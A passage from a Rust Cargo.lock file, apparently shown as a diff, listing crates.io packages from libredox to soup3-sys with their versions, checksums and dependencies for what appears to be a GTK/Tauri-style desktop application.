"68ab91017fe16c622486840e4c83c9a37afeff978bd239b5293d61ece587de66"++[[package]]+name = "libredox"+version = "0.1.18"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c943259e342f1e06ff2da7a83eabdfe7f92ce10262688dbf1895ff0b3e6e4652"+dependencies = [+ "libc",+]++[[package]]+name = "linux-raw-sys"+version = "0.12.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53"++[[package]]+name = "litemap"+version = "0.8.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "92daf443525c4cce67b150400bc2316076100ce0b3686209eb8cf3c31612e6f0"++[[package]]+name = "lock_api"+version = "0.4.14"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965"+dependencies = [+ "scopeguard",+]++[[package]]+name = "log"+version = "0.4.33"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "0ceec5bc11778974d1bcb055b18002eba7f4b3518b6a0081b3af5f21666da9ad"++[[package]]+name = "lru-slab"+version = "0.1.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "112b39cec0b298b6c1999fee3e31427f74f676e4cb9879ed1a121b43661a4154"++[[package]]+name = "markup5ever"+version = "0.38.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8983d30f2915feeaaab2d6babdd6bc7e9ed1a00b66b5e6d74df19aa9c0e91862"+dependencies = [+ "log",+ "tendril",+ "web_atoms",+]++[[package]]+name = "memchr"+version = "2.8.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98"++[[package]]+name = "memoffset"+version = "0.9.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "488016bfae457b036d996092f6cb448677611ce4449e970ceaf42695203f218a"+dependencies = [+ "autocfg",+]++[[package]]+name = "mime"+version = "0.3.17"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"++[[package]]+name = "miniz_oxide"+version = "0.8.9"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316"+dependencies = [+ "adler2",+ "simd-adler32",+]++[[package]]+name = "mio"+version = "1.2.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "30d65c71f1ce40ab09135ce117d742b9f8a19ff91a41a8b57ed50bc2de59c427"+dependencies = [+ "libc",+ "wasi",+ "windows-sys 0.61.2",+]++[[package]]+name = "muda"+version = "0.19.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1dd04e60bc0b07438a6771710ee1698f98f6ebbc7f89b61264af1563b8aeb878"+dependencies = [+ "crossbeam-channel",+ "dpi",+ "gtk",+ "keyboard-types",+ "objc2",+ "objc2-app-kit",+ "objc2-core-foundation",+ "objc2-foundation",+ "once_cell",+ "png 0.18.1",+ "serde",+ "thiserror 2.0.18",+ "windows-sys 0.61.2",+]++[[package]]+name = "new_debug_unreachable"+version = "1.0.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086"++[[package]]+name = "num-conv"+version = "0.2.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "521739c6d2bac4aa25192232afe6841231376b2b26d4d9fae5ecf8ca5772e441"++[[package]]+name = "num-traits"+version = "0.2.19"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"+dependencies = [+ "autocfg",+]++[[package]]+name = "objc2"+version = "0.6.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "3a12a8ed07aefc768292f076dc3ac8c48f3781c8f2d5851dd3d98950e8c5a89f"+dependencies = [+ "objc2-encode",+]++[[package]]+name = "objc2-app-kit"+version = "0.3.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d49e936b501e5c5bf01fda3a9452ff86dc3ea98ad5f283e1455153142d97518c"+dependencies = [+ "bitflags 2.13.0",+ "objc2",+ "objc2-core-foundation",+ "objc2-foundation",+]++[[package]]+name = "objc2-core-foundation"+version = "0.3.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "2a180dd8642fa45cdb7dd721cd4c11b1cadd4929ce112ebd8b9f5803cc79d536"+dependencies = [+ "bitflags 2.13.0",+ "dispatch2",+ "objc2",+]++[[package]]+name = "objc2-encode"+version = "4.1.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ef25abbcd74fb2609453eb695bd2f860d389e457f67dc17cafc8b8cbc89d0c33"++[[package]]+name = "objc2-foundation"+version = "0.3.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e3e0adef53c21f888deb4fa59fc59f7eb17404926ee8a6f59f5df0fd7f9f3272"+dependencies = [+ "bitflags 2.13.0",+ "objc2",+ "objc2-core-foundation",+]++[[package]]+name = "objc2-ui-kit"+version = "0.3.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d87d638e33c06f577498cbcc50491496a3ed4246998a7fbba7ccb98b1e7eab22"+dependencies = [+ "bitflags 2.13.0",+ "objc2",+ "objc2-foundation",+]++[[package]]+name = "objc2-web-kit"+version = "0.3.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "b2e5aaab980c433cf470df9d7af96a7b46a9d892d521a2cbbb2f8a4c16751e7f"+dependencies = [+ "bitflags 2.13.0",+ "objc2",+ "objc2-app-kit",+ "objc2-foundation",+]++[[package]]+name = "once_cell"+version = "1.21.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50"++[[package]]+name = "option-ext"+version = "0.2.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d"++[[package]]+name = "pango"+version = "0.18.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "7ca27ec1eb0457ab26f3036ea52229edbdb74dee1edd29063f5b9b010e7ebee4"+dependencies = [+ "gio",+ "glib",+ "libc",+ "once_cell",+ "pango-sys",+]++[[package]]+name = "pango-sys"+version = "0.18.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "436737e391a843e5933d6d9aa102cb126d501e815b83601365a948a518555dc5"+dependencies = [+ "glib-sys",+ "gobject-sys",+ "libc",+ "system-deps",+]++[[package]]+name = "parking_lot"+version = "0.12.5"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a"+dependencies = [+ "lock_api",+ "parking_lot_core",+]++[[package]]+name = "parking_lot_core"+version = "0.9.12"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1"+dependencies = [+ "cfg-if",+ "libc",+ "redox_syscall",+ "smallvec",+ "windows-link 0.2.1",+]++[[package]]+name = "percent-encoding"+version = "2.3.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9b4f627cb1b25917193a259e49bdad08f671f8d9708acfd5fe0a8c1455d87220"++[[package]]+name = "phf"+version = "0.13.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c1562dc717473dbaa4c1f85a36410e03c047b2e7df7f45ee938fbef64ae7fadf"+dependencies = [+ "phf_macros",+ "phf_shared",+ "serde",+]++[[package]]+name = "phf_codegen"+version = "0.13.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "49aa7f9d80421bca176ca8dbfebe668cc7a2684708594ec9f3c0db0805d5d6e1"+dependencies = [+ "phf_generator",+ "phf_shared",+]++[[package]]+name = "phf_generator"+version = "0.13.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "135ace3a761e564ec88c03a77317a7c6b80bb7f7135ef2544dbe054243b89737"+dependencies = [+ "fastrand",+ "phf_shared",+]++[[package]]+name = "phf_macros"+version = "0.13.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "812f032b54b1e759ccd5f8b6677695d5268c588701effba24601f6932f8269ef"+dependencies = [+ "phf_generator",+ "phf_shared",+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "phf_shared"+version = "0.13.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e57fef6bc5981e38c2ce2d63bfa546861309f875b8a75f092d1d54ae2d64f266"+dependencies = [+ "siphasher",+]++[[package]]+name = "pin-project-lite"+version = "0.2.17"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd"++[[package]]+name = "pkcs8"+version = "0.10.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7"+dependencies = [+ "der",+ "spki",+]++[[package]]+name = "pkg-config"+version = "0.3.33"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "19f132c84eca552bf34cab8ec81f1c1dcc229b811638f9d283dceabe58c5569e"++[[package]]+name = "plist"+version = "1.10.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "7da1d65da6dd5d1e44199ac0f58712d241c0f439f80adea8924d832384087f85"+dependencies = [+ "base64 0.22.1",+ "indexmap 2.14.0",+ "quick-xml",+ "serde",+ "time",+]++[[package]]+name = "png"+version = "0.17.16"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "82151a2fc869e011c153adc57cf2789ccb8d9906ce52c0b39a6b5697749d7526"+dependencies = [+ "bitflags 1.3.2",+ "crc32fast",+ "fdeflate",+ "flate2",+ "miniz_oxide",+]++[[package]]+name = "png"+version = "0.18.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "60769b8b31b2a9f263dae2776c37b1b28ae246943cf719eb6946a1db05128a61"+dependencies = [+ "bitflags 2.13.0",+ "crc32fast",+ "fdeflate",+ "flate2",+ "miniz_oxide",+]++[[package]]+name = "potential_utf"+version = "0.1.5"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "0103b1cef7ec0cf76490e969665504990193874ea05c85ff9bab8b911d0a0564"+dependencies = [+ "zerovec",+]++[[package]]+name = "powerfmt"+version = "0.2.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391"++[[package]]+name = "precomputed-hash"+version = "0.1.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c"++[[package]]+name = "proc-macro-crate"+version = "1.3.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "7f4c021e1093a56626774e81216a4ce732a735e5bad4868a03f3ed65ca0c3919"+dependencies = [+ "once_cell",+ "toml_edit 0.19.15",+]++[[package]]+name = "proc-macro-crate"+version = "2.0.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "b00f26d3400549137f92511a46ac1cd8ce37cb5598a96d382381458b992a5d24"+dependencies = [+ "toml_datetime 0.6.3",+ "toml_edit 0.20.2",+]++[[package]]+name = "proc-macro-error"+version = "1.0.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c"+dependencies = [+ "proc-macro-error-attr",+ "proc-macro2",+ "quote",+ "syn 1.0.109",+ "version_check",+]++[[package]]+name = "proc-macro-error-attr"+version = "1.0.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869"+dependencies = [+ "proc-macro2",+ "quote",+ "version_check",+]++[[package]]+name = "proc-macro2"+version = "1.0.106"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8fd00f0bb2e90d81d1044c2b32617f68fcb9fa3bb7640c23e9c748e53fb30934"+dependencies = [+ "unicode-ident",+]++[[package]]+name = "quick-xml"+version = "0.41.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e660451e55124f798a69a5af3f49ccfbefbd41910eefd25caf2393e1f3473ec1"+dependencies = [+ "memchr",+]++[[package]]+name = "quinn"+version = "0.11.11"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "0c1a41e437b6bbd489372cd4971de128e85c855f56c57f283d20ff016cf7c0a8"+dependencies = [+ "bytes",+ "cfg_aliases",+ "pin-project-lite",+ "quinn-proto",+ "quinn-udp",+ "rustc-hash",+ "rustls",+ "socket2",+ "thiserror 2.0.18",+ "tokio",+ "tracing",+ "web-time",+]++[[package]]+name = "quinn-proto"+version = "0.11.16"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "2f4bfc015262b9df63c8845072ce59068853ff5872180c2ce2f13038b970e560"+dependencies = [+ "bytes",+ "getrandom 0.4.3",+ "lru-slab",+ "rand",+ "rand_pcg",+ "ring",+ "rustc-hash",+ "rustls",+ "rustls-pki-types",+ "slab",+ "thiserror 2.0.18",+ "tinyvec",+ "tracing",+ "web-time",+]++[[package]]+name = "quinn-udp"+version = "0.5.15"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "35a133f956daabe89a61a685c2649f13d82d5aa4bd5d12d1277e1072a21c0694"+dependencies = [+ "cfg_aliases",+ "libc",+ "once_cell",+ "socket2",+ "tracing",+ "windows-sys 0.61.2",+]++[[package]]+name = "quote"+version = "1.0.46"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "dfbc457d0c7a0759a614551b11a6409e5951f6c7537be1f1b7682b9ae9230368"+dependencies = [+ "proc-macro2",+]++[[package]]+name = "r-efi"+version = "5.3.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f"++[[package]]+name = "r-efi"+version = "6.0.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "f8dcc9c7d52a811697d2151c701e0d08956f92b0e24136cf4cf27b57a6a0d9bf"++[[package]]+name = "rand"+version = "0.10.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c7f5fa3a058cd35567ef9bfa5e75732bee0f9e4c55fa90477bef2dfcdbc4be80"+dependencies = [+ "chacha20",+ "getrandom 0.4.3",+ "rand_core 0.10.1",+]++[[package]]+name = "rand_core"+version = "0.6.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"+dependencies = [+ "getrandom 0.2.17",+]++[[package]]+name = "rand_core"+version = "0.10.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "63b8176103e19a2643978565ca18b50549f6101881c443590420e4dc998a3c69"++[[package]]+name = "rand_pcg"+version = "0.10.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "caa0f4137e1c0a72f4c651489402276c8e8e1cf081f3b0ba156d2cbeef09e86a"+dependencies = [+ "rand_core 0.10.1",+]++[[package]]+name = "raw-window-handle"+version = "0.6.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "20675572f6f24e9e76ef639bc5552774ed45f1c30e2951e1e99c59888861c539"++[[package]]+name = "redox_syscall"+version = "0.5.18"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d"+dependencies = [+ "bitflags 2.13.0",+]++[[package]]+name = "redox_users"+version = "0.5.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "a4e608c6638b9c18977b00b475ac1f28d14e84b27d8d42f70e0bf1e3dec127ac"+dependencies = [+ "getrandom 0.2.17",+ "libredox",+ "thiserror 2.0.18",+]++[[package]]+name = "ref-cast"+version = "1.0.25"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "f354300ae66f76f1c85c5f84693f0ce81d747e2c3f21a45fef496d89c960bf7d"+dependencies = [+ "ref-cast-impl",+]++[[package]]+name = "ref-cast-impl"+version = "1.0.25"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "b7186006dcb21920990093f30e3dea63b7d6e977bf1256be20c3563a5db070da"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "regex"+version = "1.13.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "2a0e75113e14dc5acb068cd0786884f214f1312650a3d36d269f5c4f3cdee8a2"+dependencies = [+ "aho-corasick",+ "memchr",+ "regex-automata",+ "regex-syntax",+]++[[package]]+name = "regex-automata"+version = "0.4.15"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1f388202e4b80542a0921078cc23b6333bcf1409c1e3f86404cae4766a6131db"+dependencies = [+ "aho-corasick",+ "memchr",+ "regex-syntax",+]++[[package]]+name = "regex-syntax"+version = "0.8.11"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4"++[[package]]+name = "reqwest"+version = "0.12.28"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "eddd3ca559203180a307f12d114c268abf583f59b03cb906fd0b3ff8646c1147"+dependencies = [+ "base64 0.22.1",+ "bytes",+ "futures-core",+ "http",+ "http-body",+ "http-body-util",+ "hyper",+ "hyper-rustls",+ "hyper-util",+ "js-sys",+ "log",+ "percent-encoding",+ "pin-project-lite",+ "quinn",+ "rustls",+ "rustls-pki-types",+ "serde",+ "serde_json",+ "serde_urlencoded",+ "sync_wrapper",+ "tokio",+ "tokio-rustls",+ "tower",+ "tower-http",+ "tower-service",+ "url",+ "wasm-bindgen",+ "wasm-bindgen-futures",+ "web-sys",+ "webpki-roots",+]++[[package]]+name = "reqwest"+version = "0.13.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "219c5811de6525e5416c7d5d53bb656d3afdbc6c5af816e0802bcfa42dbdc1c3"+dependencies = [+ "base64 0.22.1",+ "bytes",+ "futures-core",+ "futures-util",+ "http",+ "http-body",+ "http-body-util",+ "hyper",+ "hyper-util",+ "js-sys",+ "log",+ "percent-encoding",+ "pin-project-lite",+ "serde",+ "serde_json",+ "sync_wrapper",+ "tokio",+ "tokio-util",+ "tower",+ "tower-http",+ "tower-service",+ "url",+ "wasm-bindgen",+ "wasm-bindgen-futures",+ "wasm-streams",+ "web-sys",+]++[[package]]+name = "ring"+version = "0.17.14"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7"+dependencies = [+ "cc",+ "cfg-if",+ "getrandom 0.2.17",+ "libc",+ "untrusted",+ "windows-sys 0.52.0",+]++[[package]]+name = "rustc-hash"+version = "2.1.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "6b1e7f9a428571be2dc5bc0505c13fb6bf936822b894ec87abf8a08a4e51742d"++[[package]]+name = "rustc_version"+version = "0.4.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92"+dependencies = [+ "semver",+]++[[package]]+name = "rustix"+version = "1.1.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190"+dependencies = [+ "bitflags 2.13.0",+ "errno",+ "libc",+ "linux-raw-sys",+ "windows-sys 0.61.2",+]++[[package]]+name = "rustls"+version = "0.23.42"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "3c54fcab019b409d04215d3a17cb438fd7fbf192ee61461f20f4fe18704bc138"+dependencies = [+ "once_cell",+ "ring",+ "rustls-pki-types",+ "rustls-webpki",+ "subtle",+ "zeroize",+]++[[package]]+name = "rustls-pki-types"+version = "1.15.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "764899a24af3980067ee14bc143654f297b22eaebfe3c7b6b211920a5a59b046"+dependencies = [+ "web-time",+ "zeroize",+]++[[package]]+name = "rustls-webpki"+version = "0.103.13"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "61c429a8649f110dddef65e2a5ad240f747e85f7758a6bccc7e5777bd33f756e"+dependencies = [+ "ring",+ "rustls-pki-types",+ "untrusted",+]++[[package]]+name = "rustversion"+version = "1.0.23"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "cf54715a573b99ac80df0bc206da022bcd442c974952c7b9720069370852e21f"++[[package]]+name = "ryu"+version = "1.0.23"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9774ba4a74de5f7b1c1451ed6cd5285a32eddb5cccb8cc655a4e50009e06477f"++[[package]]+name = "same-file"+version = "1.0.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502"+dependencies = [+ "winapi-util",+]++[[package]]+name = "schemars"+version = "0.8.22"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "3fbf2ae1b8bc8e02df939598064d22402220cd5bbcca1c76f7d6a310974d5615"+dependencies = [+ "dyn-clone",+ "indexmap 1.9.3",+ "schemars_derive",+ "serde",+ "serde_json",+ "url",+ "uuid",+]++[[package]]+name = "schemars"+version = "0.9.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "4cd191f9397d57d581cddd31014772520aa448f65ef991055d7f61582c65165f"+dependencies = [+ "dyn-clone",+ "ref-cast",+ "serde",+ "serde_json",+]++[[package]]+name = "schemars"+version = "1.2.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "a2b42f36aa1cd011945615b92222f6bf73c599a102a300334cd7f8dbeec726cc"+dependencies = [+ "dyn-clone",+ "ref-cast",+ "serde",+ "serde_json",+]++[[package]]+name = "schemars_derive"+version = "0.8.22"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "32e265784ad618884abaea0600a9adf15393368d840e0222d101a072f3f7534d"+dependencies = [+ "proc-macro2",+ "quote",+ "serde_derive_internals",+ "syn 2.0.118",+]++[[package]]+name = "scopeguard"+version = "1.2.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"++[[package]]+name = "selectors"+version = "0.36.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c5d9c0c92a92d33f08817311cf3f2c29a3538a8240e94a6a3c622ce652d7e00c"+dependencies = [+ "bitflags 2.13.0",+ "cssparser",+ "derive_more",+ "log",+ "new_debug_unreachable",+ "phf",+ "phf_codegen",+ "precomputed-hash",+ "rustc-hash",+ "servo_arc",+ "smallvec",+]++[[package]]+name = "semver"+version = "1.0.28"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd"+dependencies = [+ "serde",+ "serde_core",+]++[[package]]+name = "serde"+version = "1.0.228"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e"+dependencies = [+ "serde_core",+ "serde_derive",+]++[[package]]+name = "serde-untagged"+version = "0.1.9"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "f9faf48a4a2d2693be24c6289dbe26552776eb7737074e6722891fadbe6c5058"+dependencies = [+ "erased-serde",+ "serde",+ "serde_core",+ "typeid",+]++[[package]]+name = "serde_core"+version = "1.0.228"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad"+dependencies = [+ "serde_derive",+]++[[package]]+name = "serde_derive"+version = "1.0.228"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "serde_derive_internals"+version = "0.29.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "18d26a20a969b9e3fdf2fc2d9f21eda6c40e2de84c9408bb5d3b05d499aae711"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "serde_json"+version = "1.0.150"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e8014e44b4736ed0538adeecded0fce2a272f22dc9578a7eb6b2d9993c74cfb9"+dependencies = [+ "itoa",+ "memchr",+ "serde",+ "serde_core",+ "zmij",+]++[[package]]+name = "serde_repr"+version = "0.1.20"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "175ee3e80ae9982737ca543e96133087cbd9a485eecc3bc4de9c1a37b47ea59c"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "serde_spanned"+version = "0.6.9"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "bf41e0cfaf7226dca15e8197172c295a782857fcb97fad1808a166870dee75a3"+dependencies = [+ "serde",+]++[[package]]+name = "serde_spanned"+version = "1.1.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "6662b5879511e06e8999a8a235d848113e942c9124f211511b16466ee2995f26"+dependencies = [+ "serde_core",+]++[[package]]+name = "serde_urlencoded"+version = "0.7.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd"+dependencies = [+ "form_urlencoded",+ "itoa",+ "ryu",+ "serde",+]++[[package]]+name = "serde_with"+version = "3.21.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "76a5c54c7310e7b8b9577c286d7e399ddd876c3e12b3ed917a8aabc4b96e9e8c"+dependencies = [+ "base64 0.22.1",+ "bs58",+ "chrono",+ "hex",+ "indexmap 1.9.3",+ "indexmap 2.14.0",+ "schemars 0.9.0",+ "schemars 1.2.1",+ "serde_core",+ "serde_json",+ "serde_with_macros",+ "time",+]++[[package]]+name = "serde_with_macros"+version = "3.21.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "84d57bc0c8b9a17920c178daa6bb924850d54a9c97ab45194bb8c17ad66bb660"+dependencies = [+ "darling",+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "serialize-to-javascript"+version = "0.1.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "04f3666a07a197cdb77cdf306c32be9b7f598d7060d50cfd4d5aa04bfd92f6c5"+dependencies = [+ "serde",+ "serde_json",+ "serialize-to-javascript-impl",+]++[[package]]+name = "serialize-to-javascript-impl"+version = "0.1.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "772ee033c0916d670af7860b6e1ef7d658a4629a6d0b4c8c3e67f09b3765b75d"+dependencies = [+ "proc-macro2",+ "quote",+ "syn 2.0.118",+]++[[package]]+name = "servo_arc"+version = "0.4.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "170fb83ab34de17dc69aa7c67482b22218ddb85da56546f9bd6b929e32a05930"+dependencies = [+ "stable_deref_trait",+]++[[package]]+name = "sha2"+version = "0.10.9"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283"+dependencies = [+ "cfg-if",+ "cpufeatures 0.2.17",+ "digest",+]++[[package]]+name = "shlex"+version = "2.0.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba"++[[package]]+name = "signature"+version = "2.2.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de"+dependencies = [+ "rand_core 0.6.4",+]++[[package]]+name = "simd-adler32"+version = "0.3.9"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "703d5c7ef118737c72f1af64ad2f6f8c5e1921f818cdcb97b8fe6fc69bf66214"++[[package]]+name = "siphasher"+version = "1.0.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8ee5873ec9cce0195efcb7a4e9507a04cd49aec9c83d0389df45b1ef7ba2e649"++[[package]]+name = "slab"+version = "0.4.12"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5"++[[package]]+name = "smallvec"+version = "1.15.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8ed6a63f02c8539c91a8685a86f4099661ba3da017932f6ebbea6de3f0fa7c90"++[[package]]+name = "socket2"+version = "0.6.5"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c3d1e2c7f27f8d4cb10542a02c49005dbd6e93095799d6f3be745fae9f8fedd4"+dependencies = [+ "libc",+ "windows-sys 0.61.2",+]++[[package]]+name = "soup3"+version = "0.5.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "471f924a40f31251afc77450e781cb26d55c0b650842efafc9c6cbd2f7cc4f9f"+dependencies = [+ "futures-channel",+ "gio",+ "glib",+ "libc",+ "soup3-sys",+]++[[package]]+name = "soup3-sys"+version = "0.5.0"+source = 